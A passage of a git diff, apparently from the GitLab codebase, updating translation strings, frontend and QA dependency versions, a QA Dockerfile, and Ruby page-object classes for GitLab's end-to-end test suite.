msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38022,10 +38789,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38067,9 +38831,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38085,12 +38846,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38612,6 +39385,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/package.json b/package.json
index d90dccf2820..0a889f6f6a0 100644
--- a/package.json
+++ b/package.json
@@ -3,6 +3,7 @@
"scripts": {
"check-dependencies": "scripts/frontend/check_dependencies.sh",
"block-dependencies": "node scripts/frontend/block_dependencies.js",
+ "check:startup_css": "scripts/frontend/startup_css/startup_css_changed.sh",
"clean": "rm -rf public/assets tmp/cache/*-loader",
"dev-server": "NODE_OPTIONS=\"--max-old-space-size=3584\" node scripts/frontend/webpack_dev_server.js",
"file-coverage": "scripts/frontend/file_test_coverage.js",
@@ -33,6 +34,8 @@
"lint:stylelint:fix": "yarn run lint:stylelint --fix",
"lint:stylelint:staged": "scripts/frontend/execute-on-staged-files.sh stylelint '(css|scss)' -q",
"lint:stylelint:staged:fix": "yarn run lint:stylelint:staged --fix",
+ "generate:startup_css": "scripts/frontend/startup_css/setup.sh && node scripts/frontend/startup_css/main.js",
+ "generate:startup_css:full": "scripts/frontend/startup_css/setup.sh force && node scripts/frontend/startup_css/main.js",
"markdownlint": "markdownlint --config .markdownlint.yml",
"markdownlint:no-trailing-spaces": "markdownlint --config doc/.markdownlint/markdownlint-no-trailing-spaces.yml",
"markdownlint:no-trailing-spaces:fix": "yarn run markdownlint:no-trailing-spaces --fix",
@@ -51,36 +54,36 @@
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.7",
"@gitlab/favicon-overlay": "2.0.0",
- "@gitlab/svgs": "1.197.0",
+ "@gitlab/svgs": "1.199.0",
"@gitlab/tributejs": "1.0.0",
- "@gitlab/ui": "29.27.0",
+ "@gitlab/ui": "29.35.0",
"@gitlab/visual-review-tools": "1.6.1",
- "@rails/actioncable": "^6.0.3-4",
- "@rails/ujs": "^6.0.3-4",
- "@sentry/browser": "^5.22.3",
+ "@rails/actioncable": "6.1.3-2",
+ "@rails/ujs": "6.1.3-2",
+ "@sentry/browser": "5.26.0",
"@sourcegraph/code-host-integration": "0.0.57",
- "@tiptap/core": "^2.0.0-beta.54",
- "@tiptap/extension-blockquote": "^2.0.0-beta.11",
- "@tiptap/extension-bold": "^2.0.0-beta.11",
- "@tiptap/extension-bullet-list": "^2.0.0-beta.11",
- "@tiptap/extension-code": "^2.0.0-beta.11",
- "@tiptap/extension-code-block-lowlight": "^2.0.0-beta.18",
- "@tiptap/extension-document": "^2.0.0-beta.10",
- "@tiptap/extension-dropcursor": "^2.0.0-beta.11",
- "@tiptap/extension-gapcursor": "^2.0.0-beta.15",
- "@tiptap/extension-hard-break": "^2.0.0-beta.11",
- "@tiptap/extension-heading": "^2.0.0-beta.11",
- "@tiptap/extension-history": "^2.0.0-beta.10",
- "@tiptap/extension-horizontal-rule": "^2.0.0-beta.14",
- "@tiptap/extension-image": "^2.0.0-beta.11",
- "@tiptap/extension-italic": "^2.0.0-beta.11",
- "@tiptap/extension-link": "^2.0.0-beta.15",
- "@tiptap/extension-list-item": "^2.0.0-beta.11",
- "@tiptap/extension-ordered-list": "^2.0.0-beta.11",
- "@tiptap/extension-paragraph": "^2.0.0-beta.12",
- "@tiptap/extension-strike": "^2.0.0-beta.12",
- "@tiptap/extension-text": "^2.0.0-beta.10",
- "@tiptap/vue-2": "^2.0.0-beta.27",
+ "@tiptap/core": "^2.0.0-beta.75",
+ "@tiptap/extension-blockquote": "^2.0.0-beta.13",
+ "@tiptap/extension-bold": "^2.0.0-beta.13",
+ "@tiptap/extension-bullet-list": "^2.0.0-beta.13",
+ "@tiptap/extension-code": "^2.0.0-beta.13",
+ "@tiptap/extension-code-block-lowlight": "2.0.0-beta.25",
+ "@tiptap/extension-document": "^2.0.0-beta.12",
+ "@tiptap/extension-dropcursor": "^2.0.0-beta.14",
+ "@tiptap/extension-gapcursor": "^2.0.0-beta.17",
+ "@tiptap/extension-hard-break": "^2.0.0-beta.13",
+ "@tiptap/extension-heading": "^2.0.0-beta.13",
+ "@tiptap/extension-history": "^2.0.0-beta.12",
+ "@tiptap/extension-horizontal-rule": "^2.0.0-beta.16",
+ "@tiptap/extension-image": "^2.0.0-beta.13",
+ "@tiptap/extension-italic": "^2.0.0-beta.13",
+ "@tiptap/extension-link": "^2.0.0-beta.17",
+ "@tiptap/extension-list-item": "^2.0.0-beta.13",
+ "@tiptap/extension-ordered-list": "^2.0.0-beta.13",
+ "@tiptap/extension-paragraph": "^2.0.0-beta.14",
+ "@tiptap/extension-strike": "^2.0.0-beta.15",
+ "@tiptap/extension-text": "^2.0.0-beta.12",
+ "@tiptap/vue-2": "^2.0.0-beta.34",
"@toast-ui/editor": "^2.5.2",
"@toast-ui/vue-editor": "^2.5.2",
"apollo-cache-inmemory": "^1.6.6",
@@ -101,19 +104,17 @@
"codesandbox-api": "0.0.23",
"compression-webpack-plugin": "^5.0.2",
"copy-webpack-plugin": "^6.4.1",
- "core-js": "^3.12.1",
+ "core-js": "^3.13.0",
"cron-validator": "^1.1.1",
"cropper": "^2.3.0",
"css-loader": "^2.1.1",
"d3": "^5.16.0",
"d3-sankey": "^0.12.3",
- "d3-scale": "^2.2.2",
"d3-selection": "^1.2.0",
- "dateformat": "^3.0.3",
+ "dateformat": "^4.5.1",
"deckar01-task_list": "^2.3.1",
"diff": "^3.4.0",
- "document-register-element": "1.14.3",
- "dompurify": "^2.2.8",
+ "dompurify": "^2.2.9",
"dropzone": "^4.2.0",
"editorconfig": "^0.15.3",
"emoji-regex": "^7.0.3",
@@ -126,7 +127,7 @@
"immer": "^7.0.7",
"ipaddr.js": "^1.9.1",
"jed": "^1.1.1",
- "jquery": "^3.5.0",
+ "jquery": "^3.6.0",
"jquery.caret": "^0.3.1",
"jquery.waitforimages": "^2.2.0",
"js-cookie": "^2.2.1",
@@ -135,9 +136,10 @@
"jszip-utils": "^0.0.2",
"katex": "^0.13.2",
"lodash": "^4.17.20",
+ "lowlight": "^1.20.0",
"marked": "^0.3.12",
"mathjax": "3",
- "mermaid": "^8.9.2",
+ "mermaid": "^8.10.2",
"minimatch": "^3.0.4",
"monaco-editor": "^0.20.0",
"monaco-editor-webpack-plugin": "^1.9.1",
@@ -193,17 +195,18 @@
"@gitlab/eslint-plugin": "8.4.0",
"@gitlab/stylelint-config": "2.3.0",
"@testing-library/dom": "^7.16.2",
- "@vue/test-utils": "1.1.2",
+ "@vue/test-utils": "1.2.0",
"acorn": "^6.3.0",
"axios-mock-adapter": "^1.15.0",
"babel-jest": "^26.5.2",
"babel-plugin-dynamic-import-node": "^2.3.3",
"babel-plugin-istanbul": "^6.0.0",
"chalk": "^2.4.1",
+ "cheerio": "^1.0.0-rc.9",
"commander": "^2.18.0",
"custom-jquery-matchers": "^2.1.0",
"docdash": "^1.0.2",
- "eslint": "7.26.0",
+ "eslint": "7.28.0",
"eslint-import-resolver-jest": "3.0.0",
"eslint-import-resolver-webpack": "0.13.1",
"eslint-plugin-jasmine": "4.1.2",
@@ -241,6 +244,8 @@
"nodemon": "^2.0.4",
"postcss": "^7.0.14",
"prettier": "2.2.1",
+ "purgecss": "^4.0.3",
+ "purgecss-from-html": "^4.0.3",
"readdir-enhanced": "^2.2.4",
"sass": "^1.32.12",
"timezone-mock": "^1.0.8",
diff --git a/plugins/.gitignore b/plugins/.gitignore
deleted file mode 100644
index e4ccdc9e2ec..00000000000
--- a/plugins/.gitignore
+++ /dev/null
@@ -1,5 +0,0 @@
-*
-!*/
-!.gitignore
-!.gitkeep
-!examples/*
diff --git a/qa/.gitignore b/qa/.gitignore
index 2095d5c722c..b54b8666e28 100644
--- a/qa/.gitignore
+++ b/qa/.gitignore
@@ -3,3 +3,4 @@ tmp/
.tool-versions
.ruby-gemset
urls.yml
+reports/
diff --git a/qa/Dockerfile b/qa/Dockerfile
index dda882dc5e6..81f207cbab9 100644
--- a/qa/Dockerfile
+++ b/qa/Dockerfile
@@ -38,6 +38,18 @@ RUN unzip chromedriver_linux64.zip -d /usr/local/bin
RUN rm -f chromedriver_linux64.zip
##
+# Install client certificate - Bug in Chrome Headless: https://gitlab.com/gitlab-org/gitlab/-/issues/331492
+#
+# RUN apt install -y libnss3-tools
+# RUN mkdir -p $HOME/.pki/nssdb
+# RUN certutil -N -d sql:$HOME/.pki/nssdb
+# COPY ./qa/tls_certificates/client/client.pfx /tmp/client.pfx
+# RUN pk12util -d sql:$HOME/.pki/nssdb -i /tmp/client.pfx -W ''
+# RUN mkdir -p /etc/opt/chrome/policies/managed
+# RUN echo '{ "AutoSelectCertificateForUrls": ["{\"pattern\":\"*\",\"filter\":{}}"] }' > /etc/opt/chrome/policies/managed/policy.json
+# RUN cat /etc/opt/chrome/policies/managed/policy.json
+
+##
# Install root certificate
#
RUN mkdir -p /usr/share/ca-certificates/gitlab
diff --git a/qa/Gemfile b/qa/Gemfile
index 8b3a9802000..0cb53ca99dc 100644
--- a/qa/Gemfile
+++ b/qa/Gemfile
@@ -3,7 +3,8 @@
source 'https://rubygems.org'
gem 'gitlab-qa'
-gem 'activesupport', '~> 6.0.3.3' # This should stay in sync with the root's Gemfile
+gem 'activesupport', '~> 6.1.3.2' # This should stay in sync with the root's Gemfile
+gem 'allure-rspec', '~> 2.14.1'
gem 'capybara', '~> 3.29.0'
gem 'capybara-screenshot', '~> 1.0.23'
gem 'rake', '~> 12.3.3'
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index 9bac86bad08..8b6c4ca0d3e 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -2,12 +2,12 @@ GEM
remote: https://rubygems.org/
specs:
abstract_type (0.0.7)
- activesupport (6.0.3.4)
+ activesupport (6.1.3.2)
concurrent-ruby (~> 1.0, >= 1.0.2)
- i18n (>= 0.7, < 2)
- minitest (~> 5.1)
- tzinfo (~> 1.1)
- zeitwerk (~> 2.2, >= 2.2.2)
+ i18n (>= 1.6, < 2)
+ minitest (>= 5.1)
+ tzinfo (~> 2.0)
+ zeitwerk (~> 2.3)
adamantium (0.2.0)
ice_nine (~> 0.11.0)
memoizable (~> 0.4.0)
@@ -19,6 +19,14 @@ GEM
rack-test (>= 1.1.0, < 2.0)
rest-client (>= 2.0.2, < 3.0)
rspec (~> 3.8)
+ allure-rspec (2.14.1)
+ allure-ruby-commons (= 2.14.1)
+ rspec-core (>= 3.8, < 4)
+ allure-ruby-commons (2.14.1)
+ mime-types (>= 3.3, < 4)
+ oj (>= 3.10, < 4)
+ require_all (>= 2, < 4)
+ uuid (>= 2.3, < 3)
ast (2.4.1)
binding_ninja (0.2.3)
byebug (9.1.0)
@@ -44,7 +52,7 @@ GEM
concord (0.1.5)
adamantium (~> 0.2.0)
equalizer (~> 0.0.9)
- concurrent-ruby (1.1.7)
+ concurrent-ruby (1.1.8)
descendants_tracker (0.0.4)
thread_safe (~> 0.3, >= 0.3.1)
diff-lcs (1.3)
@@ -66,7 +74,7 @@ GEM
http-accept (1.7.0)
http-cookie (1.0.3)
domain_name (~> 0.5)
- i18n (1.8.5)
+ i18n (1.8.10)
concurrent-ruby (~> 1.0)
ice_nine (0.11.2)
jwt (2.2.2)
@@ -74,6 +82,8 @@ GEM
rake
launchy (2.4.3)
addressable (~> 2.3)
+ macaddr (1.7.2)
+ systemu (~> 2.6.5)
memoizable (0.4.2)
thread_safe (~> 0.3, >= 0.3.1)
method_source (0.9.0)
@@ -82,7 +92,7 @@ GEM
mime-types-data (3.2020.0425)
mini_mime (1.0.2)
mini_portile2 (2.5.0)
- minitest (5.14.2)
+ minitest (5.14.4)
multi_json (1.15.0)
multi_xml (0.6.0)
multipart-post (2.1.1)
@@ -96,6 +106,7 @@ GEM
multi_json (~> 1.3)
multi_xml (~> 0.5)
rack (>= 1.2, < 3)
+ oj (3.11.5)
parallel (1.19.2)
parallel_tests (2.29.0)
parallel
@@ -119,6 +130,7 @@ GEM
rack (>= 1.0, < 3)
rake (12.3.3)
regexp_parser (1.6.0)
+ require_all (3.0.0)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
@@ -154,10 +166,11 @@ GEM
selenium-webdriver (3.142.6)
childprocess (>= 0.5, < 4.0)
rubyzip (>= 1.2.2)
+ systemu (2.6.5)
thread_safe (0.3.6)
timecop (0.9.1)
- tzinfo (1.2.9)
- thread_safe (~> 0.1)
+ tzinfo (2.0.4)
+ concurrent-ruby (~> 1.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
@@ -169,6 +182,8 @@ GEM
equalizer (~> 0.0.9)
parser (>= 2.6.5)
procto (~> 0.0.2)
+ uuid (2.3.9)
+ macaddr (~> 1.0)
watir (6.18.0)
regexp_parser (>= 1.2, < 3)
selenium-webdriver (>= 3.8)
@@ -180,8 +195,9 @@ PLATFORMS
ruby
DEPENDENCIES
- activesupport (~> 6.0.3.3)
+ activesupport (~> 6.1.3.2)
airborne (~> 0.3.4)
+ allure-rspec (~> 2.14.1)
capybara (~> 3.29.0)
capybara-screenshot (~> 1.0.23)
chemlab (~> 0.5)
diff --git a/qa/qa.rb b/qa/qa.rb
index fafa428be41..aad40666065 100644
--- a/qa/qa.rb
+++ b/qa/qa.rb
@@ -45,6 +45,7 @@ module QA
autoload :IPAddress, 'qa/runtime/ip_address'
autoload :Search, 'qa/runtime/search'
autoload :ApplicationSettings, 'qa/runtime/application_settings'
+ autoload :AllureReport, 'qa/runtime/allure_report'
module API
autoload :Client, 'qa/runtime/api/client'
@@ -73,7 +74,9 @@ module QA
autoload :Issue, 'qa/resource/issue'
autoload :ProjectIssueNote, 'qa/resource/project_issue_note'
autoload :Project, 'qa/resource/project'
- autoload :Label, 'qa/resource/label'
+ autoload :LabelBase, 'qa/resource/label_base'
+ autoload :ProjectLabel, 'qa/resource/project_label'
+ autoload :GroupLabel, 'qa/resource/group_label'
autoload :MergeRequest, 'qa/resource/merge_request'
autoload :ProjectImportedFromGithub, 'qa/resource/project_imported_from_github'
autoload :MergeRequestFromFork, 'qa/resource/merge_request_from_fork'
@@ -335,8 +338,8 @@ module QA
autoload :Jenkins, 'qa/page/project/settings/services/jenkins'
autoload :Prometheus, 'qa/page/project/settings/services/prometheus'
end
- autoload :Operations, 'qa/page/project/settings/operations'
- autoload :Incidents, 'qa/page/project/settings/incidents'
+ autoload :Monitor, 'qa/page/project/settings/monitor'
+ autoload :Alerts, 'qa/page/project/settings/alerts'
autoload :Integrations, 'qa/page/project/settings/integrations'
end
@@ -344,7 +347,9 @@ module QA
autoload :CiCd, 'qa/page/project/sub_menus/ci_cd'
autoload :Common, 'qa/page/project/sub_menus/common'
autoload :Issues, 'qa/page/project/sub_menus/issues'
- autoload :Operations, 'qa/page/project/sub_menus/operations'
+ autoload :Monitor, 'qa/page/project/sub_menus/monitor'
+ autoload :Deployments, 'qa/page/project/sub_menus/deployments'
+ autoload :Infrastructure, 'qa/page/project/sub_menus/infrastructure'
autoload :Repository, 'qa/page/project/sub_menus/repository'
autoload :Settings, 'qa/page/project/sub_menus/settings'
autoload :Project, 'qa/page/project/sub_menus/project'
@@ -367,25 +372,29 @@ module QA
autoload :Index, 'qa/page/project/milestone/index'
end
- module Operations
+ module Deployments
module Environments
- autoload :Index, 'qa/page/project/operations/environments/index'
- autoload :Show, 'qa/page/project/operations/environments/show'
+ autoload :Index, 'qa/page/project/deployments/environments/index'
+ autoload :Show, 'qa/page/project/deployments/environments/show'
end
+ end
+ module Infrastructure
module Kubernetes
- autoload :Index, 'qa/page/project/operations/kubernetes/index'
- autoload :Add, 'qa/page/project/operations/kubernetes/add'
- autoload :AddExisting, 'qa/page/project/operations/kubernetes/add_existing'
- autoload :Show, 'qa/page/project/operations/kubernetes/show'
+ autoload :Index, 'qa/page/project/infrastructure/kubernetes/index'
+ autoload :Add, 'qa/page/project/infrastructure/kubernetes/add'
+ autoload :AddExisting, 'qa/page/project/infrastructure/kubernetes/add_existing'
+ autoload :Show, 'qa/page/project/infrastructure/kubernetes/show'
end
+ end
+ module Monitor
module Metrics
- autoload :Show, 'qa/page/project/operations/metrics/show'
+ autoload :Show, 'qa/page/project/monitor/metrics/show'
end
module Incidents
- autoload :Index, 'qa/page/project/operations/incidents/index'
+ autoload :Index, 'qa/page/project/monitor/incidents/index'
end
end
diff --git a/qa/qa/flow/user.rb b/qa/qa/flow/user.rb
index acc77cb9830..c0bd475adb7 100644
--- a/qa/qa/flow/user.rb
+++ b/qa/qa/flow/user.rb
@@ -9,13 +9,13 @@ module QA
Capybara.current_session
end
- def confirm_user(username)
+ def confirm_user(user)
Flow::Login.while_signed_in_as_admin do
Page::Main::Menu.perform(&:go_to_admin_area)
Page::Admin::Menu.perform(&:go_to_users_overview)
Page::Admin::Overview::Users::Index.perform do |index|
- index.search_user(username)
- index.click_user(username)
+ index.search_user(user.email)
+ index.click_user(user.name)
end
Page::Admin::Overview::Users::Show.perform(&:confirm_user)
diff --git a/qa/qa/page/admin/overview/users/index.rb b/qa/qa/page/admin/overview/users/index.rb
index f8c79b4f72c..8a2c2303ff7 100644
--- a/qa/qa/page/admin/overview/users/index.rb
+++ b/qa/qa/page/admin/overview/users/index.rb
@@ -11,7 +11,7 @@ module QA
element :pending_approval_tab
end
- view 'app/views/admin/users/_user.html.haml' do
+ view 'app/assets/javascripts/admin/users/components/users_table.vue' do
element :user_row_content
end
diff --git a/qa/qa/page/component/issuable/sidebar.rb b/qa/qa/page/component/issuable/sidebar.rb
index 03c0811645f..3a9d316c321 100644
--- a/qa/qa/page/component/issuable/sidebar.rb
+++ b/qa/qa/page/component/issuable/sidebar.rb
@@ -30,7 +30,7 @@ module QA
element :labels_dropdown_content
end
- base.view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue' do
+ base.view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue' do
element :labels_edit_button
end
@@ -65,13 +65,13 @@ module QA
def has_assignee?(username)
within_element(:assignee_block) do
- has_text?(username, wait: 120)
+ has_text?(username, wait: 1)
end
end
def has_no_assignee?(username)
within_element(:assignee_block) do
- has_no_text?(username, wait: 120)
+ has_no_text?(username, wait: 1)
end
end
diff --git a/qa/qa/page/component/issue_board/show.rb b/qa/qa/page/component/issue_board/show.rb
index e0c8f73e1b0..1c1f7ab17f3 100644
--- a/qa/qa/page/component/issue_board/show.rb
+++ b/qa/qa/page/component/issue_board/show.rb
@@ -24,11 +24,11 @@ module QA
element :create_new_board_button
end
- view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue' do
+ view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents.vue' do
element :labels_dropdown_content
end
- view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue' do
+ view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue' do
element :labels_edit_button
end
diff --git a/qa/qa/page/dashboard/snippet/index.rb b/qa/qa/page/dashboard/snippet/index.rb
index 63589c376f6..d8314509b1f 100644
--- a/qa/qa/page/dashboard/snippet/index.rb
+++ b/qa/qa/page/dashboard/snippet/index.rb
@@ -7,6 +7,9 @@ module QA
class Index < Page::Base
view 'app/views/layouts/header/_new_dropdown.html.haml' do
element :new_menu_toggle
+ end
+
+ view 'app/helpers/nav/new_dropdown_helper.rb' do
element :global_new_snippet_link
end
diff --git a/qa/qa/page/group/members.rb b/qa/qa/page/group/members.rb
index 68a169d5a7f..b526a4488b2 100644
--- a/qa/qa/page/group/members.rb
+++ b/qa/qa/page/group/members.rb
@@ -26,7 +26,7 @@ module QA
element :delete_member_button
end
- view 'app/views/groups/group_members/index.html.haml' do
+ view 'app/assets/javascripts/members/components/members_tabs.vue' do
element :groups_list_tab
end
diff --git a/qa/qa/page/group/menu.rb b/qa/qa/page/group/menu.rb
index 66e8b5d5863..9a3b129b6d2 100644
--- a/qa/qa/page/group/menu.rb
+++ b/qa/qa/page/group/menu.rb
@@ -12,6 +12,8 @@ module QA
element :group_members_item
element :group_milestones_link
element :group_settings
+ element :group_information_link
+ element :group_information_submenu
end
view 'app/views/groups/sidebar/_packages_settings.html.haml' do
@@ -24,8 +26,10 @@ module QA
end
def click_group_members_item
- within_sidebar do
- click_element(:group_members_item)
+ hover_element(:group_information_link) do
+ within_submenu(:group_information_submenu) do
+ click_element(:group_members_item)
+ end
end
end
diff --git a/qa/qa/page/group/new.rb b/qa/qa/page/group/new.rb
index 5a908266597..66afcf7547c 100644
--- a/qa/qa/page/group/new.rb
+++ b/qa/qa/page/group/new.rb
@@ -38,17 +38,32 @@ module QA
fill_element(:import_gitlab_token, token)
end
+ def click_import_group
+ click_on 'Import group'
+ end
+
+ def click_create_group
+ click_on 'Create group'
+ end
+
# Connect gitlab instance
#
# @param [String] gitlab_url
# @param [String] gitlab_token
# @return [void]
def connect_gitlab_instance(gitlab_url, gitlab_token)
+ # Wait until element is present and refresh if not in case feature flag did not kick in
+ wait_until(max_duration: 10) { has_element?(:import_gitlab_url, wait: 1) }
+
set_gitlab_url(gitlab_url)
set_gitlab_token(gitlab_token)
click_element(:connect_instance_button)
end
+
+ def switch_to_import_tab
+ click_element("import-group-pane_link")
+ end
end
end
end
diff --git a/qa/qa/page/main/menu.rb b/qa/qa/page/main/menu.rb
index f796f4c9475..760741a9630 100644
--- a/qa/qa/page/main/menu.rb
+++ b/qa/qa/page/main/menu.rb
@@ -19,25 +19,23 @@ module QA
element :todos_shortcut_button, required: true
end
- view 'app/views/layouts/nav/_dashboard.html.haml' do
- element :admin_area_link
- element :projects_dropdown, required: true
- element :groups_dropdown, required: true
- element :more_dropdown
- element :snippets_link
- element :groups_link
- element :activity_link
- element :milestones_link
+ view 'app/assets/javascripts/nav/components/top_nav_app.vue' do
+ element :navbar_dropdown
+ end
+
+ view 'app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue' do
+ element :menu_subview_container
end
- view 'app/views/layouts/nav/projects_dropdown/_show.html.haml' do
- element :projects_dropdown_sidebar
- element :your_projects_link
+ view 'lib/gitlab/nav/top_nav_menu_item.rb' do
+ element :menu_item_link
end
- view 'app/views/layouts/nav/groups_dropdown/_show.html.haml' do
- element :create_group_link
- element :import_group_link
+ view 'app/helpers/nav/top_nav_helper.rb' do
+ element :admin_area_link
+ element :projects_dropdown
+ element :groups_dropdown
+ element :snippets_link
end
view 'app/views/layouts/_search.html.haml' do
@@ -46,30 +44,32 @@ module QA
def go_to_groups
within_groups_menu do
- click_element :your_groups_link
+ click_element(:menu_item_link, title: 'Your groups')
end
end
- def go_to_import_group
+ def go_to_create_group
within_groups_menu do
- click_element :import_group_link
+ click_element(:menu_item_link, title: 'Create group')
end
end
def go_to_projects
- within_top_menu do
- click_element :projects_dropdown
+ within_projects_menu do
+ click_element(:menu_item_link, title: 'Your projects')
end
+ end
- page.within('.qa-projects-dropdown-sidebar') do
- click_element :your_projects_link
+ def go_to_create_project
+ within_projects_menu do
+ click_element(:menu_item_link, title: 'Create new project')
end
end
- def go_to_more_dropdown_option(option_name)
+ def go_to_menu_dropdown_option(option_name)
within_top_menu do
- click_element :more_dropdown
- click_element option_name
+ click_element(:navbar_dropdown, title: 'Menu')
+ click_element(option_name)
end
end
@@ -88,11 +88,11 @@ module QA
def go_to_admin_area
click_admin_area
- if has_text?('Enter Admin Mode', wait: 1.0)
- Admin::NewSession.perform do |new_session|
- new_session.set_password(Runtime::User.admin_password)
- new_session.click_enter_admin_mode
- end
+ return unless has_text?('Enter Admin Mode', wait: 1.0)
+
+ Admin::NewSession.perform do |new_session|
+ new_session.set_password(Runtime::User.admin_password)
+ new_session.click_enter_admin_mode
end
end
@@ -151,11 +151,17 @@ module QA
end
def has_admin_area_link?(wait: Capybara.default_max_wait_time)
- has_element?(:admin_area_link, wait: wait)
+ within_top_menu do
+ click_element(:navbar_dropdown, title: 'Menu')
+ has_element?(:admin_area_link, wait: wait)
+ end
end
def has_no_admin_area_link?(wait: Capybara.default_max_wait_time)
- has_no_element?(:admin_area_link, wait: wait)
+ within_top_menu do
+ click_element(:navbar_dropdown, title: 'Menu')
+ has_no_element?(:admin_area_link, wait: wait)
+ end
end
def click_stop_impersonation_link
@@ -164,32 +170,32 @@ module QA
private
- def within_top_menu
- within_element(:navbar) do
- yield
- end
+ def within_top_menu(&block)
+ within_element(:navbar, &block)
end
- def within_user_menu
+ def within_user_menu(&block)
within_top_menu do
click_element :user_avatar
- within_element(:user_menu) do
- yield
- end
+ within_element(:user_menu, &block)
end
end
def within_groups_menu(&block)
- within_top_menu do
- click_element :groups_dropdown
- end
+ go_to_menu_dropdown_option(:groups_dropdown)
+
+ within_element(:menu_subview_container, &block)
+ end
+
+ def within_projects_menu(&block)
+ go_to_menu_dropdown_option(:projects_dropdown)
- page.within('.qa-groups-dropdown-sidebar', &block)
+ within_element(:menu_subview_container, &block)
end
def click_admin_area
- within_top_menu { click_element :admin_area_link }
+ go_to_menu_dropdown_option(:admin_area_link)
end
end
end
diff --git a/qa/qa/page/project/branches/show.rb b/qa/qa/page/project/branches/show.rb
index 63021df30f6..afec0e27a0b 100644
--- a/qa/qa/page/project/branches/show.rb
+++ b/qa/qa/page/project/branches/show.rb
@@ -5,13 +5,23 @@ module QA
module Project
module Branches
class Show < Page::Base
+ view 'app/assets/javascripts/branches/components/delete_branch_button.vue' do
+ element :delete_branch_button
+ end
+
+ view 'app/assets/javascripts/branches/components/delete_branch_modal.vue' do
+ element :delete_branch_confirmation_button
+ end
+
